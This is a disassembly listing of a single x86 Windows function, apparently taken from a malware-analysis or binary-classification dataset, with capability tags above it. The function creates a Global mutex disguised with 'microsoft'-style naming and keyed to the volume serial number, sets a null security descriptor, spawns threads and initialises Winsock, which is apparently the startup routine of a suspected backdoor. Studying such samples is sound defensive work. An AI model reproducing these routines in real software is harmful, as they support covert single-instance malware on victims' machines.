Function at 0x10031560
Capabilities:
Check mutex on windows
Create thread
Get disk information
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004dd11
mov eax, dword fs:[0]
push eax
sub esp, 0x670
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x668], eax
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x680]
mov dword fs:[0], eax
push 1
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x100318bc
xor ebx, ebx
push ebx
push ebx
push 1
lea ecx, [esp + 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x100318bc
push 6
lea edx, [esp + 0x34]
push str.Global
lea ecx, [esp + 0x4c]
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], edx
mov dword [esp + 0x24], 0xc
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
call fcn.100028b0
push 0xa
mov eax, str.microsoft
lea ecx, [esp + 0x48]
mov dword [esp + 0x68c], ebx
call fcn.10002620
push 0xa
mov eax, str._lock_back
lea ecx, [esp + 0x48]
call fcn.10002620
mov eax, dword [esp + 0x44]
mov edi, 0x10
cmp dword [esp + 0x58], edi
jae 0x1003163c
lea eax, [esp + 0x44]
push eax
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1003167c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x58], edi
jb 0x100318bc
mov ecx, dword [esp + 0x44]
push ecx
call fcn.10032d80
add esp, 4
jmp 0x100318bc
lea edx, [esp + 0x14]
push edx
push ebx
push 0x10061bb0
push 0x10032710
push ebx
push ebx
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push ebx
mov dword [0x10061bc0], eax
lea eax, [esp + 0x20]
push eax
push 0xc
push ebx
push 0x10054944
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 0x10]
push ecx
push str.Global_
lea edx, [esp + 0x214]
push str._s_u
push edx
call fcn.100366bd
lea eax, [esp + 0x21c]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100316e1
sub eax, edx
jne 0x10031724
push 0x10054c20
push 0x10054c24
push str.rosof
push 0x10054c30
push 0x10054c34
push 0x10053fa4
push 0x10054c38
lea eax, [esp + 0x228]
push str._s_s_s_s_s_s_s
push eax
call fcn.100366bd
add esp, 0x24
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [esp + 0x20c]
push ecx
push ebx
lea edx, [esp + 0x24]
push edx
call esi
mov dword [0x10061bb8], eax
mov dword [esp + 0x18], vtable.CodeService.0
push 0x3ff
lea eax, [esp + 0x279]
push ebx
mov byte [esp + 0x690], 1
push eax
mov byte [esp + 0x280], bl
call fcn.10037e20
push 0x24
lea ecx, [esp + 0x284]
push 0x100535ec
push ecx
call fcn.10037f30
add esp, 0x18
push 0x24
mov ebx, 0x10053650
lea edi, [esp + 0x278]
call fcn.1000f530
xor ebx, ebx
push 7
push str.Global_
lea ecx, [esp + 0x68]
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
call fcn.100028b0
mov eax, edi
mov byte [esp + 0x688], 2
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100317c2
sub eax, edx
push eax
lea eax, [esp + 0x278]
lea ecx, [esp + 0x64]
call fcn.10002620
cmp dword [esp + 0x74], 0x10
mov eax, dword [esp + 0x60]
jae 0x100317eb
lea eax, [esp + 0x60]
push eax
push ebx
lea edx, [esp + 0x24]
push edx
call esi
push 0x64
push eax
mov dword [0x10061bc8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [0x10061bb8]
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x30]
push edx
push 2
mov dword [0x10061bbc], eax
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
jne 0x10031867
mov eax, dword [0x10061bbc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [0x10061bb8]
push ecx
call esi
mov edx, dword [0x10061bc0]
push edx
call esi
mov eax, dword [0x10061bc4]
cmp eax, ebx
je 0x100318aa
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x100318aa
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
call fcn.10031c00
lea eax, [esp + 0x7c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [esp + 0x14]
push ecx
push ebx
push 0x10061bb0
push 0x10032030
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10061bb4], eax
call fcn.100318e0
call fcn.10031a90
lea ecx, [esp + 0x60]
call fcn.10002e90
lea ecx, [esp + 0x44]
call fcn.10002e90
mov ecx, dword [esp + 0x680]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x668]
xor ecx, esp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret